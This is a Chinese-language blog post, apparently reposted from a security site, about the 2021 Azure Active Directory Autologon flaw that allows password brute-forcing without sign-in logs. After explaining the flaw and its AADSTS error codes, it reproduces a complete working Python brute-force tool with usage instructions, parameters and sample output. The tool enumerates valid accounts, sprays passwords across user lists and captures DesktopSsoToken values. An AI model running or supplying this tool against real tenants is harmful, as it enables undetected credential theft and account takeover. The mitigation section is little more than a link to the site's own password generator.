Azure Active Directory密码暴力破解漏洞及工具

Azure Active Directory密码暴力破解漏洞及工具

想象一下,可以无限次地尝试猜测某人的用户名和密码而不会被抓住。
这将成为隐蔽威胁参与者的理想场景——让服务器管理员几乎看不到攻击者的行为,更不用说阻止他们的可能性了。

漏洞描述

Microsoft Azure 的 Active Directory (AD) 实施中新发现的漏洞,该漏洞允许:单因素暴力破解用户的 AD 凭据。而且,这些失败的尝试不会记录到服务器上面。

漏洞详情

密码无效,再试一次,再试一次…

2021年 6 月,Secureworks Counter Threat Unit (CTU) 的研究人员发现 Azure Active Directory 无缝单点登录服务使用的协议存在缺陷。

研究人员解释说:“这个缺陷允许威胁行为者对 Azure Active Directory 执行单因素暴力攻击,而不会在目标组织的租户中生成登录事件日志。”

同月,Secureworks 向微软报告了该缺陷,微软随后在 7 月确认此行为存在,但认为这是“设计使然”。

根据消息人士与 Ars 分享的通信,本月,Secureworks 正在提醒其客户注意该缺陷。

 Secureworks 就 Azure 的 Active Directory 缺陷向其客户发送电子邮件。

Azure AD 无缝 SSO 服务会自动将用户登录到他们的公司设备,并连接到他们的工作场所网络。启用无缝 SSO 后,用户无需输入密码,通常甚至无需输入用户名即可登录 Azure AD。“此功能使您的用户可以轻松访问基于云的应用程序,而无需任何额外的本地组件,”微软解释说

但是,与许多 Windows 服务一样,Seamless SSO 服务依赖Kerberos协议进行身份验证。“在无缝 SSO 配置期间,AZUREADSSOACC在本地 Active Directory (AD) 域中创建名为的计算机对象,并为其分配服务主体名称 (SPN) https://autologon.microsoftazuread-sso.com,”CTU 研究人员解释说。“该AZUREADSSOACC计算机对象的名称和密码哈希 将发送到 Azure AD。”

以下名为“windowstransport”的自动登录端点接收 Kerberos 票证。而且,无缝 SSO 会自动发生,无需任何用户交互:

https://autologon.microsoftazuread-sso.com//winauth/trust/2005/windowstransport

已使用下图演示了身份验证工作流程:

Azure Active Directory密码暴力破解漏洞及工具
Kerberos 协议演示

此外,usernamemixed 在…/winauth/trust/2005/usernamemixed处有一个端点,它接受用于单因素身份验证的用户名和密码。要对用户进行身份验证,会将包含用户名和密码的 XML 文件发送到此usernamemixed端点。

Azure Active Directory密码暴力破解漏洞及工具
包含用户名和密码的XML 文件。

此端点的身份验证工作流程要简单得多:

Azure Active Directory密码暴力破解漏洞及工具
自动登录用户名/密码登录过程

这就是漏洞潜入的地方。 Autologon 尝试根据提供的凭据对用户进行 Azure AD 身份验证。如果用户名和密码匹配,则身份验证成功,并且 Autologon 服务使用包含身份验证令牌(称为 )的 XML 输出进行响应,该令牌DesktopSSOToken将发送到 Azure AD。但是,如果身份验证失败,则会生成错误消息。

正是这些错误代码(其中一些未正确记录)可以帮助攻击者执行未被发现的暴力破解攻击。

Azure Active Directory密码暴力破解漏洞及工具
自动登录身份验证失败时生成的错误代码。

成功的身份验证事件会生成登录日志……但是,自动登录对 Azure AD 的身份验证 [步骤] 没有被记录。这一遗漏允许威胁行为者利用usernamemixed端点进行未检测到的暴力破解攻击”CTU 研究人员在他们的文章中解释道。

Azure AD 身份验证工作流中使用的AADSTS错误代码如下所示:

AADSTS50034 用户不存在
AADSTS50053 用户存在并且输入了正确的用户名和密码,但帐户被锁定
AADSTS50056 用户存在但在 Azure AD 中没有密码
AADSTS50126 用户存在,但输入了错误的密码
AADSTS80014 用户存在,但已超过最大直通身份验证时间

Secureworks 研究人员表示,大多数旨在检测暴力破解或密码喷射攻击的安全工具和对策都依赖于登录事件日志并查找特定的错误代码。这就是为什么无法查看失败的登录尝试是一个问题的原因。

“[我们的] 分析表明自动登录服务是通过 Azure Active Directory 联合服务 (AD FS) 实现的,”CTU 研究人员解释说。“Microsoft AD FS 文档建议禁用对windowstransport端点的Internet 访问。但是,无缝 SSO 需要该访问权限。Microsoft表示usernamemixed只有在 Office 2013 2015 年 5 月更新之前的旧版 Office 客户端才需要该端点。”

漏洞利用不仅限于使用 SSO 的组织

该缺陷不仅限于使用无缝 SSO 的组织。研究人员解释说:“威胁参与者可以利用usernamemixed任何 Azure AD 或 Microsoft 365 组织中的自动登录端点,包括使用传递身份验证 (PTA) 的组织。” 尽管如此,没有 Azure AD 密码的用户仍然不受影响。

由于暴力破解攻击的成功在很大程度上取决于密码强度,Secureworks 在其文章中将该缺陷评为“中等”严重性。

在撰写本文时,尚无已知的修复程序或变通方法来阻止usernamemixed端点的使用 。Secureworks 表示,使用多因素身份验证 (MFA) 和条件访问 (CA) 不会阻止漏洞利用,因为这些机制仅在身份验证成功后才会发生。

Ars 在发布之前就与 Microsoft 和 Secureworks 取得了很好的联系。微软没有回复我们的置评请求。Secureworks 奇怪地回应了邀请参加未来的在线活动,但没有对此事发表评论。

如上所述,微软似乎认为这是一个设计选择,而不是一个漏洞。因此,尚不清楚是否或何时修复该缺陷,并且组织可能仍然容易受到隐蔽的暴力破解攻击。

AzureAD爆破工具

AzureAD_Autologon_Brute.py源码

#!/usr/bin/python3

# http://www.ddosi.org
# 2021.09.30 - @nyxgeek - TrustedSec
# Adapted from https://securecloud.blog/2019/12/26/reddit-thread-answer-azure-ad-autologon-endpoint/
# Mentioned here https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/
# Thanks to @jarsnah12 for code contribution!

import requests
from requests.exceptions import ConnectionError, ReadTimeout, Timeout
import datetime
import re
import os
import time
import threading
from threading import Semaphore
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry
import uuid
import argparse

writeLock = Semaphore(value = 1)

# initiate the parser
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--domain", help="target domain name", required=True)
parser.add_argument("-u", "--username", help="user to target")
parser.add_argument("-U", "--userfile", help="file containing users to target")
parser.add_argument("-p", "--password", help="password")
parser.add_argument("-o", "--output", help="file to write output to (default: BRUTE_OUTPUT.txt)")
parser.add_argument("-v", "--verbose", help="enable verbose output", action='store_true')
parser.add_argument("-t", "--threads", help="total number of threads (defaut: 10)")

# Preset some variables
verbose = False
isUser = False
isUserFile = False
outputfile = 'BRUTE_OUTPUT.txt'

# Set up our GUIDs - I don't think we need to generate each time
UserTokenGuid= "uuid-" + str(uuid.uuid4())
MessageIDGuid = "urn:uuid:" + str(uuid.uuid4())
requestid = str(uuid.uuid4())

# Our base XML
data = """<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
  <s:Header>
    <a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
    <a:MessageID>MessageIDPlaceholder</a:MessageID>
    <a:ReplyTo>
      <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
    </a:ReplyTo>
    <a:To s:mustUnderstand="1">https://autologon.microsoftazuread-sso.com/dewi.onmicrosoft.com/winauth/trust/2005/usernamemixed?client-request-id=30cad7ca-797c-4dba-81f6-8b01f6371013</a:To>
    <o:Security xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" s:mustUnderstand="1">
      <u:Timestamp u:Id="_0">
        <u:Created>2019-01-02T14:30:02.068Z</u:Created>
        <u:Expires>2019-01-02T14:40:02.068Z</u:Expires>
      </u:Timestamp>
      <o:UsernameToken u:Id="UsernameTokenPlaceholder">
        <o:Username>UsernamePlaceholder</o:Username>
        <o:Password>PasswordPlaceholder</o:Password>
      </o:UsernameToken>
    </o:Security>
  </s:Header>
  <s:Body>
    <trust:RequestSecurityToken xmlns:trust="http://schemas.xmlsoap.org/ws/2005/02/trust">
      <wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
        <a:EndpointReference>
          <a:Address>urn:federation:MicrosoftOnline</a:Address>
        </a:EndpointReference>
      </wsp:AppliesTo>
      <trust:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</trust:KeyType>
      <trust:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</trust:RequestType>
    </trust:RequestSecurityToken>
  </s:Body>
</s:Envelope>
"""

# read arguments from the command line
args = parser.parse_args()

if args.domain:
    #print("Setting target to %s" % args.domain)
    domain = args.domain
    print("Domain is ", domain)

if args.password:
    password = args.password.rstrip()
    print("Setting password as: %s" % password)

if args.output:
    outputfile = args.output

if args.verbose:
    verbose = True

if args.username:
    username = args.username.rstrip()
    print("Checking username: %s" % username)
    isUser = True


if args.userfile:
    print("Reading users from file: %s" % args.userfile)
    userfile = args.userfile
    isUserFile = True

if args.threads:
    thread_count = args.threads
else:
    thread_count = 10




#@retry
def checkURL(userline):
    username = userline.rstrip()
    if not ( "@" in username ):
        if verbose:
            print("No email address detected, converting to email format")
        username = username + "@" + domain + ""

    if verbose:
        print("Username is {}, Password is {}, Domain is {}".format(username, password, domain))

    # Setting up our XML File
    tempdata = data
    tempdata = tempdata.replace("UsernameTokenPlaceholder", UserTokenGuid)
    tempdata = tempdata.replace("MessageIDPlaceholder", MessageIDGuid)
    tempdata = tempdata.replace("UsernamePlaceholder", username)
    tempdata = tempdata.replace("PasswordPlaceholder", password)

    request_headers = {'client-request-id': requestid , 'return-client-request-id':'true', 'Content-type':'application/soap+xml; charset=utf-8'}
    url = "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + requestid  + ""

    if verbose:
        writeLock.acquire()
        print("Url is: %s" % url)
        writeLock.release()

    requests.packages.urllib3.disable_warnings()

    try:
        r = requests.post(url, data=tempdata, headers=request_headers, timeout=2.0)

    except requests.ConnectionError as e:
        if verbose:
            print("Error: %s" % e)
    except requests.Timeout as e:
        if verbose:
            print("Error: %s" % e)
        print("Read Timeout reached, sleeping for 3 seconds")
        time.sleep(3)
    except requests.RequestException as e:
        if verbose:
            print("Error: %s" % e)
        print("Request Exception - weird. Gonna sleep for 3")
        time.sleep(3)
    except:
        print("Well, I'm not sure what just happened. Onward we go...")
        time.sleep(3)

    xmlresponse = str(r.content)
    credentialset = username + ":" + password


    # check our resopnse for error/response codes
    if "AADSTS50034" in  xmlresponse:
        print("[-] Username not found:{}".format(credentialset))
    elif "AADSTS50126" in xmlresponse:
        print("[+] VALID USERNAME, invalid password :{}".format(credentialset))
        writeLock.acquire()
        with open(outputfile,"a") as outfilestream:
            outfilestream.write("[+] FOUND VALID USERNAME:{}\n".format(credentialset))
        writeLock.release()
    elif "DesktopSsoToken" in xmlresponse:
        print("[+] VALID CREDS! :{}".format(credentialset))
        result = re.findall(r"<DesktopSsoToken>.{1,}</DesktopSsoToken>", xmlresponse)
        if (result):
            print("[+] GOT TOKEN FOR:{}:{}".format( username, result))
        writeLock.acquire()
        with open(outputfile,"a") as outfilestream:
            outfilestream.write("[+] VALID CREDS:{}\n".format(credentialset))
            outfilestream.write("[+] TOKEN FOUND :{}:{}\n".format(username, result))
        writeLock.release()
    elif "AADSTS50056" in xmlresponse:
        print("[+] VALID USERNAME, no password in AzureAD:{}".format(credentialset))
        writeLock.acquire()
        with open(outputfile,"a") as outfilestream:
            outfilestream.write("[+] FOUND USERNAME, no password in AzureAD :{}\n".format(credentialset))
        writeLock.release()
    elif "AADSTS80014" in xmlresponse:
        print("[+] VALID USERNAME, max pass-through authentication time exceeded :{}".format(credentialset))
        writeLock.acquire()
        with open(outputfile,"a") as outfilestream:
            outfilestream.write("[+] FOUND USERNAME, max pass-through authentication time exceeded :{}\n".format(credentialset))
        writeLock.release()
    elif "AADSTS50053" in xmlresponse:
        print("[?] SMART LOCKOUT DETECTED - Unable to enumerate:{}".format(credentialset))
    else:
        print("[!] I have NO clue what just happened. sorry. ", credentialset)
        print(xmlresponse)



def checkUserFile():
    f = open(userfile)
    listthread=[]
    for userline in f:
        while int(threading.activeCount()) >= int(thread_count):
            time.sleep(1)
        #print "Spawing thread for: " + userline + " thread(" + str(threading.activeCount()) +")"
        x = threading.Thread(target=checkURL, args=(userline,))

        listthread.append(x)
        x.start()
    f.close()

    for i in listthread:
        i.join()
    return


if __name__ == '__main__':

    print("\n+-----------------------------------------+")
    print("|          AzureAD AutoLogon Brute          |")
    print("|     2021.09.30 @nyxgeek - TrustedSec      |")
    print("+-----------------------------------------+\n")

    if isUser:
        checkURL(username)

    if isUserFile:
        checkUserFile()

    quit()

用法

python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1

详细参数

Azure Active Directory密码暴力破解漏洞及工具
python3 www.ddosi.org.py -h    
                                                                                                              
用法: www.ddosi.org.py [-h] -d 域名 [-u 用户名] [-U 用户名字典] [-p 密码] [-o 输出文件] [-v] [-t 线程]

可选参数:
  -h, --help            显示帮助信息并退出
  -d 域名, --domain 域名
                        目标域名
  -u 用户名, --username 用户名
                        user to target
  -U 用户名文件, --userfile 用户名文件
                        包含目标用户名的字典文件
  -p 密码, --password 密码
                        密码
  -o 输出, --output 输出
                        输出的文件(默认:BRUTE_OUTPUT.txt)
  -v, --verbose         启用详细输出
  -t 线程, --threads 线程
                        线程总数(默认为10)

输出结果示例

[~/AzureAD_Autologon_Brute] # python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1
Domain is  intranet.directory
Setting password as: Password1
Reading users from file: users.txt

+-----------------------------------------+
|          AzureAD AutoLogon Brute          |
|     2021.09.30 @nyxgeek - TrustedSec      |
+-----------------------------------------+

[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1

漏洞缓解措施

到如下密码生成器生成/设置复杂的用户名和密码:

http://www.ddosi.org/mm.html

Azure Active Directory密码暴力破解漏洞及工具

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注